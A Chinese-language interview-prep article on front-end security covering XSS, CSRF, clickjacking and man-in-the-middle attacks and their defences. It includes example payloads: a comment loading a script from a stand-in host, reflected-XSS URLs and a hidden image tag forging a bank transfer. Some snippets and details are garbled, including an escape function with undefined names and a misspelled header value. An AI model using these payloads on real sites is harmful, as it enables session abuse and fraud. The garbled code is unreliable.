你在項(xiàng)目中做過(guò)哪些安全防范措施?
如果你被面試官問(wèn)到這個(gè)問(wèn)題,不要急于描述自己遇到的問(wèn)題以及如何處理的,你得先去理解問(wèn)題中的潛臺(tái)詞。“做過(guò)哪些措施”更深層的意思是“你熟悉哪些攻擊方式,知道哪些解決方案?”當(dāng)然,不可能把每次做的安全防范措施都一一的說(shuō)給面試官聽(tīng), 這樣顯得沒(méi)有重點(diǎn)。
「做哪些安全防范」換個(gè)思維思考“有哪些攻擊方式?”,那么我們就可以基于攻擊方式的分類(lèi),來(lái)討論究竟有哪些防范攻擊的措施。
從而可以梳理出關(guān)于這個(gè)問(wèn)題回答的思路:

XSS 攻擊
按照之前說(shuō)的思路,先講概念,說(shuō)用途
什么是XSS攻擊
XSS即Cross Site Scripting(跨站腳本攻擊),指的是攻擊者想盡一切辦法將一些可執(zhí)行的代碼注入到網(wǎng)頁(yè)中,利用這些惡意腳本,攻擊者可獲取用戶(hù)的敏感信息如 Cookie、SessionID 等,進(jìn)而危害數(shù)據(jù)安全。為了不和層疊樣式表CSS混淆,故將其縮寫(xiě)為 XSS
XSS 可以分為:存儲(chǔ)型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。
存儲(chǔ)型
存儲(chǔ)型也就是攻擊的代碼被服務(wù)端寫(xiě)入進(jìn)數(shù)據(jù)庫(kù)中,這種攻擊危害性很大,因?yàn)槿绻W(wǎng)站訪(fǎng)問(wèn)量很大的話(huà),就會(huì)導(dǎo)致大量正常訪(fǎng)問(wèn)頁(yè)面的用戶(hù)都受到攻擊。
這種攻擊常見(jiàn)于帶有用戶(hù)保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評(píng)論、用戶(hù)私信等。具有攻擊性的腳本被保存到了服務(wù)器并且可以被普通用戶(hù)完整的從服務(wù)的取得并執(zhí)行,從而獲得了在網(wǎng)絡(luò)上傳播的能力。
反射型
反射型也叫非持久型,相比于前者危害就小一些,一般通過(guò)修改 URL 參數(shù)的方式加入攻擊代碼,誘導(dǎo)用戶(hù)訪(fǎng)問(wèn)鏈接從而進(jìn)行攻擊。
這種常見(jiàn)于通過(guò) URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。由于需要用戶(hù)主動(dòng)打開(kāi)惡意的 URL 才能生效,攻擊者往往會(huì)結(jié)合多種手段誘導(dǎo)用戶(hù)點(diǎn)擊。
二者區(qū)別:存儲(chǔ)型 XSS 的惡意代碼存在數(shù)據(jù)庫(kù)里,反射型 XSS 的惡意代碼存在 URL 里。
舉兩個(gè)案例幫助更好的理解:當(dāng)我們?cè)谧錾唐吩u(píng)論時(shí),用戶(hù)輸入的內(nèi)容未經(jīng)過(guò)過(guò)濾直接保存到數(shù)據(jù)庫(kù)中。
攻擊者可以構(gòu)建一條評(píng)論, 包含惡意內(nèi)容:
質(zhì)量非常不錯(cuò)!<script src="danger.com/spread.js"></script>
當(dāng)你的評(píng)論列表被用戶(hù)瀏覽時(shí), 直接從服務(wù)端取出,回填到HTML響應(yīng)中:
<li>質(zhì)量非常不錯(cuò)!<script src="danger.com/spread.js"></script></li>
那么瀏覽器會(huì)加載執(zhí)行惡意腳本danger.com/spread.js, 在惡意腳本中利用用戶(hù)的登錄狀態(tài)發(fā)更多的帶有惡意評(píng)論的URL, 誘導(dǎo)更多人點(diǎn)擊,層層傳播,放大攻擊范圍。
這個(gè)案例就是一個(gè)典型的存儲(chǔ)型XSS攻擊。再來(lái)看一個(gè)反射型攻擊案例:
某天小范開(kāi)發(fā)了一個(gè)搜索頁(yè)面,通過(guò)用戶(hù)輸入搜索內(nèi)容,展示相應(yīng)的數(shù)據(jù):
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>點(diǎn)我</a>
有時(shí)攻擊者會(huì)偽造一個(gè)圖片,讓你點(diǎn)擊后鏈接跳轉(zhuǎn)URL。
對(duì)于這種攻擊方式來(lái)說(shuō),如果用戶(hù)使用的是Chrome 瀏覽器的話(huà),瀏覽器已經(jīng)幫助用戶(hù)做了防御攻擊。但是我們也不能說(shuō)就不防御了,因?yàn)闊o(wú)法保證用戶(hù)都是用有防御攻擊的瀏覽器。
XSS攻擊如何進(jìn)行防范
我們講了這么XSS的原理和危害,那么我們?cè)谌粘i_(kāi)發(fā)當(dāng)中到底該如何預(yù)防呢?
1.輸入輸出過(guò)濾
一切用戶(hù)輸入皆不可信,在輸出時(shí)進(jìn)行驗(yàn)證,一般做法是將 ‘ ” < > & 這些個(gè)危險(xiǎn)字符進(jìn)行轉(zhuǎn)義。
const signs = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}
const signReg = /[&<>"']/g
function escape(string) {
return (string && reUnescapedHtml.test(string))
? string.replace(reUnescapedHtml, (chr) =>htmlEscapes[chr])
: string
}
通過(guò)轉(zhuǎn)義<script></script>將被轉(zhuǎn)義成<script></script>
對(duì)于URL地址的轉(zhuǎn)義可以使用
encodeURI,當(dāng)你需要編碼URL中的參數(shù)的時(shí)候,那么encodeURIComponent是最好方法。
上面對(duì)字符進(jìn)行轉(zhuǎn)義的方式很明顯并不適用于所有場(chǎng)景,比如富文本,這樣會(huì)將需要的格式都過(guò)濾掉。因?yàn)镠TML標(biāo)簽種類(lèi)繁多,基于黑名單的過(guò)濾方法考慮的并不全面,所以我們可以根據(jù)白名單過(guò)濾HTML, 可以借助xss.js來(lái)完成:
// 瀏覽器
<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>
使用:
filterXSS('<h1 id="title">XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p class="text-center">Whitelist</p>')
輸出結(jié)果:
<h1>XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p>Whitelist</p>
如果后端直接將字符串存入數(shù)據(jù)庫(kù)也是不妥的,后端也必須做處理,因?yàn)榘l(fā)送到后端的內(nèi)容還可以通過(guò)其他方式, 前端處理并不能保障安全。
2. Cookie 的 HttpOnly
當(dāng)用戶(hù)的登錄憑證存儲(chǔ)于服務(wù)器的 session 中,而在瀏覽器中是以 cookie 的形式存儲(chǔ)的。很多XSS攻擊目標(biāo)都是竊取用戶(hù)cookie偽造身份認(rèn)證。
可以通過(guò)在 cookie 中設(shè)置 HttpOnly 屬性,js腳本將無(wú)法讀取到 cookie 信息。
ctx.cookies.set(name, value, {
httpOnly: true // 默認(rèn)為 true
})
3. CSP(內(nèi)容安全策略)
CSP (Content Security Policy,內(nèi)容安全策略)是 W3C 提出的 ,本質(zhì)上就是白名單制度,開(kāi)發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行。它的實(shí)現(xiàn)和執(zhí)行全部由瀏覽器完成,我們只需提供配置。
CSP 大大增強(qiáng)了網(wǎng)頁(yè)的安全性。攻擊者即使發(fā)現(xiàn)了漏洞,也沒(méi)法注入腳本,除非還控制了一臺(tái)列入了白名單的可信主機(jī)。
兩種方法可以啟用 CSP:
一種是通過(guò) HTTP 頭信息的 Content-Security-Policy的字段另一種是通過(guò)網(wǎng)頁(yè)的 <meta>標(biāo)簽
方式1舉例
Content-Security-Policy: default-src ‘self’
表示只允許加載本站資源
Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src 'none'
CSP 的值中,不同屬性以 ; 隔開(kāi),同一屬性的多個(gè)值以空格隔開(kāi)。上面例子的意思就是默認(rèn)允許讀取 https://demo.example.cn和https://cdn.example2.net 的資源,object-src 使用的相關(guān)資源無(wú)白名單,也就是完全不允許讀出。
如果使用了不符合要求的資源,瀏覽器會(huì)給予攔截,給出下面提示:
Refused to execute inline script because it violates the following Content Security Policy directive
我們也可以使用 meta 標(biāo)簽代替 HTTP 頭:
<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>
Content-Security-Policy 的常用選項(xiàng)有這些:
default-src: 是 src 選項(xiàng)的默認(rèn)值,但不能覆蓋以下值: base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandboxbase-uri:特別說(shuō)一下 <base>標(biāo)簽是因?yàn)楣侣崖劦奈业谝淮我?jiàn)到。指定用于一個(gè)文檔中包含的所有相對(duì) URL 的根 URL,一個(gè)文件只能有一個(gè)<base>標(biāo)簽,用起來(lái)大概是這樣的:<base target="_top" >。connect-src: XHR、WebSockets 等連接使用的地址 font-src:字體文件來(lái)源 img-src:圖片地址 media-src:音視頻地址 object-src:Flash 相關(guān) report-uri:出現(xiàn)報(bào)錯(cuò)時(shí)提交到指定 uri,不能在 標(biāo)簽使用 style-src:樣式文件
CSRF 攻擊
除了上面說(shuō)的XSS攻擊外,還有一種常見(jiàn)的攻擊方式:CSRF攻擊。
什么是CSRF攻擊
CSRF:跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries),也被稱(chēng)為 one-click attack 或者 session riding。冒充用戶(hù)發(fā)起請(qǐng)求(在用戶(hù)不知情的情況下), 完成一些違背用戶(hù)意愿的事情(如修改用戶(hù)信息,刪除評(píng)論等)。
舉個(gè)例子,好友小A在銀行存有一筆錢(qián),輸入用戶(hù)名密碼登錄銀行賬戶(hù)后,發(fā)送請(qǐng)求給xiaofan賬戶(hù)轉(zhuǎn)888:
http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan
轉(zhuǎn)賬過(guò)程中, 小A不小心打開(kāi)了一個(gè)新頁(yè)面,進(jìn)入了黑客(xiaohei)的網(wǎng)站,而黑客網(wǎng)站有如下html代碼:
<html>
<!--其他內(nèi)容-->
<img src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei width='0' height='0'>
<!--其他內(nèi)容-->
</html>
這個(gè)模擬的img請(qǐng)求就會(huì)帶上小A的session值, 成功的將888轉(zhuǎn)到xiaohei的賬戶(hù)上。例子雖然是get,post請(qǐng)求提交表單同樣會(huì)被攻擊。
CSRF攻擊的特點(diǎn):
通常發(fā)生在第三方網(wǎng)站 攻擊者不能獲取cookie等信息,只是使用
如何防御
驗(yàn)證碼:強(qiáng)制用戶(hù)必須與應(yīng)用進(jìn)行交互,才能完成最終請(qǐng)求。此種方式能很好的遏制 CSRF,但是用戶(hù)體驗(yàn)相對(duì)差。 盡量使用 post ,限制 get 使用;上一個(gè)例子可見(jiàn),get 太容易被拿來(lái)做 CSRF 攻擊,但是 post 也并不是萬(wàn)無(wú)一失,攻擊者只需要構(gòu)造一個(gè)form就可以。 Referer check:請(qǐng)求來(lái)源限制,此種方法成本最低,但是并不能保證 100% 有效,因?yàn)榉?wù)器并不是什么時(shí)候都能取到 Referer,而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險(xiǎn)。 token:token 驗(yàn)證的 CSRF 防御機(jī)制是公認(rèn)最合適的方案。
CSRF 與 XSS 區(qū)別
通常來(lái)說(shuō) CSRF 是由 XSS 實(shí)現(xiàn)的,CSRF 時(shí)常也被稱(chēng)為 XSRF(CSRF 實(shí)現(xiàn)的方式還可以是直接通過(guò)命令行發(fā)起請(qǐng)求等)。
本質(zhì)上講,XSS 是代碼注入問(wèn)題,CSRF 是 HTTP 問(wèn)題。XSS 是內(nèi)容沒(méi)有過(guò)濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因?yàn)闉g覽器在發(fā)送 HTTP 請(qǐng)求時(shí)候自動(dòng)帶上 cookie,而一般網(wǎng)站的 session 都存在 cookie里面。XSS 利用的是用戶(hù)對(duì)指定網(wǎng)站的信任,CSRF 利用的是網(wǎng)站對(duì)用戶(hù)網(wǎng)頁(yè)瀏覽器的信任。
點(diǎn)擊劫持
點(diǎn)擊劫持(click hijacking)也稱(chēng)為 UI 覆蓋攻擊。它通過(guò)一些內(nèi)容(如游戲)誤導(dǎo)被攻擊者點(diǎn)擊,雖然被攻擊者點(diǎn)擊的是他所看到的網(wǎng)頁(yè),但其實(shí)所點(diǎn)擊的是另一個(gè)置于原網(wǎng)頁(yè)上面的透明頁(yè)面。
根據(jù)先點(diǎn)擊劫持原理示意圖,分析典型點(diǎn)擊劫持攻擊流程:

攻擊者構(gòu)建了一個(gè)非常有吸引力的網(wǎng)頁(yè) 將被攻擊的頁(yè)面放置在當(dāng)前頁(yè)面的 iframe 中 使用樣式將 iframe 疊加到非常有吸引力內(nèi)容的上方 將iframe設(shè)置為100%透明 用戶(hù)在不知情的情況下點(diǎn)擊按鈕,觸發(fā)執(zhí)行一些其他命令。
如何防御
點(diǎn)擊劫持攻擊需要首先將目標(biāo)網(wǎng)站載入到惡意網(wǎng)站中,使用 iframe 載入網(wǎng)頁(yè)是最有效的方法。
所以可以設(shè)置我們的網(wǎng)頁(yè)不允許使用iframe被加載到其他網(wǎng)頁(yè)中就可以避免這種情況了,我們可以通過(guò)在響應(yīng)頭中設(shè)置X-Frame-Options(服務(wù)器端進(jìn)行),X-Frame-Options可以設(shè)置以下三個(gè)值:
DEBY:不允許任何網(wǎng)頁(yè)使用iframe加載我這個(gè)頁(yè)面。SAMEORIGIN:只允許在相同域名(也就是自己的網(wǎng)站)下使用iframe加載這個(gè)頁(yè)面。ALLOWED-FROM origin: 允許任何網(wǎng)頁(yè)通過(guò)iframe加載我這個(gè)網(wǎng)頁(yè)。
這種方式在一些老舊的瀏覽器上是不支持的,具體可以通過(guò)can i use去查看
中間人攻擊
中間人(Man-in-the-middle attack, MITM)是指攻擊者和通訊的兩端分別創(chuàng)建獨(dú)立的聯(lián)系,并交換其得到的數(shù)據(jù),攻擊者可以攔截通信雙方的通話(huà)并插入新的內(nèi)容。

一般的過(guò)程如下:
客戶(hù)端發(fā)送請(qǐng)求到服務(wù)端,請(qǐng)求被中間?截獲 服務(wù)器向客戶(hù)端發(fā)送公鑰 中間?截獲公鑰,保留在???上。然后???成?個(gè)【偽造的】公鑰,發(fā)給客戶(hù)端 客戶(hù)端收到偽造的公鑰后,?成加密hash值發(fā)給服務(wù)器 中間?獲得加密hash值,???的私鑰解密獲得真秘鑰,同時(shí)?成假的加密hash值,發(fā)給服務(wù)器 服務(wù)器?私鑰解密獲得假密鑰,然后加密數(shù)據(jù)傳輸給客戶(hù)端
如何防御
采用HTTPS通信可以防御中間人攻擊, 但是使用HTTPS并不就絕對(duì)安全,一方面你要完全關(guān)閉HTTP通信,如果沒(méi)有完全關(guān)閉,攻擊者可以通過(guò)某些方式將HTTPS 降級(jí)為HTTP,從而實(shí)現(xiàn)中間人攻擊。
其次使用HTTPS通信,開(kāi)發(fā)時(shí)也不要忽視證書(shū)的校驗(yàn),或者對(duì)于非法證書(shū)不進(jìn)行處理,這樣也容易被中間人攻擊。這里給大家推薦文章 HTTPS中間人攻擊實(shí)踐(原理?實(shí)踐)
為什么有些軟件如Fiddler可以還原h(huán)ttps報(bào)文?
Fiddler是通過(guò)中間代理的方式抓取報(bào)文,還原h(huán)ttps報(bào)文的前提是在客戶(hù)端的根證書(shū)列表下加入Fiddler生成的CA根證書(shū)。這樣Fiddler就成為CA,可以偽造數(shù)字證書(shū),偽裝成服務(wù)器。但是只能用于測(cè)試,不能實(shí)現(xiàn)真正意義上的竊取數(shù)據(jù)。
總結(jié)
以上是我們平時(shí)開(kāi)發(fā)過(guò)程中一些常見(jiàn)的前端安全方面的知識(shí)以及我們應(yīng)該如何防御這些攻擊。但是安全的領(lǐng)域相當(dāng)大,這些內(nèi)容只是滄海一粟,如果需要深入學(xué)習(xí)安全防御方面的知識(shí),這是遠(yuǎn)遠(yuǎn)不夠的。
參考文章:
